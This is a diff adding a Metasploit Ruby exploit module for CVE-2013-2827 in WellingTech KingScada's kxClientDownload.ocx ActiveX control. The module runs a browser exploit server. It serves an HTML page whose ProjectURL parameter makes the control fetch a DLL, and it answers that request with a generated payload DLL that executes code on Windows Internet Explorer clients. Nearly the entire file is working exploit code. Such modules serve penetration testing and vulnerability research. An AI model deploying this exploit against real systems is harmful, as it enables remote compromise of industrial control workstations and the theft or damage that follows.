|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = GoodRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::BrowserExploitServer |
| 12 | + include Msf::Exploit::EXE |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module abuses the kxClientDownload.ocx distributed with WellingTech KingScada. |
| 19 | + The ProjectURL property can be abused to download and load arbitrary DLLs from |
| 20 | + arbitrary locations, leading to arbitrary code execution, because of a dangerous |
| 21 | + usage of LoadLibrary. Due to the nature of the vulnerability, this module will work |
| 22 | + only when there isn't Protected Mode. |
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Andrea Micalizzi', # aka rgod original discovery |
| 28 | + 'juan vazquez' # Metasploit module |
| 29 | + ], |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['CVE', '2013-2827'], |
| 33 | + ['OSVDB', '102135'], |
| 34 | + ['BID', '64941'], |
| 35 | + ['ZDI', '14-011'], |
| 36 | + ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01'] |
| 37 | + ], |
| 38 | + 'DefaultOptions' => |
| 39 | + { |
| 40 | + 'InitialAutoRunScript' => 'migrate -f', |
| 41 | + }, |
| 42 | + 'BrowserRequirements' => |
| 43 | + { |
| 44 | + :source => /script|headers/i, |
| 45 | + :os_name => Msf::OperatingSystems::WINDOWS, |
| 46 | + :ua_name => /MSIE|KXCLIE/i |
| 47 | + }, |
| 48 | + 'Payload' => |
| 49 | + { |
| 50 | + 'Space' => 2048, |
| 51 | + 'StackAdjustment' => -3500, |
| 52 | + 'DisableNopes' => true |
| 53 | + }, |
| 54 | + 'Platform' => 'win', |
| 55 | + 'Targets' => |
| 56 | + [ |
| 57 | + [ 'Automatic', { } ] |
| 58 | + ], |
| 59 | + 'DefaultTarget' => 0, |
| 60 | + 'DisclosureDate' => 'Jan 14 2014')) |
| 61 | + end |
| 62 | + |
| 63 | + def on_request_exploit(cli, request, target_info) |
| 64 | + print_status("Requested: #{request.uri}") |
| 65 | + |
| 66 | + if request.uri =~ /\/libs\/.*\.dll/ |
| 67 | + print_good("Sending DLL payload") |
| 68 | + send_response(cli, |
| 69 | + generate_payload_dll(:code => get_payload(cli, target_info)), |
| 70 | + 'Content-Type' => 'application/octet-stream' |
| 71 | + ) |
| 72 | + return |
| 73 | + elsif request.uri =~ /\/libs\// |
| 74 | + print_status("Sending not found") |
| 75 | + send_not_found(cli) |
| 76 | + return |
| 77 | + end |
| 78 | + |
| 79 | + content = <<-EOS |
| 80 | +<html> |
| 81 | +<body> |
| 82 | +<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'> |
| 83 | +<param name="ProjectURL" value="#{get_module_uri}"></param> |
| 84 | +</object> |
| 85 | +</body> |
| 86 | +</html> |
| 87 | + EOS |
| 88 | + |
| 89 | + print_status("Sending #{self.name}") |
| 90 | + send_response_html(cli, content) |
| 91 | + end |
| 92 | + |
| 93 | +end |
0 commit comments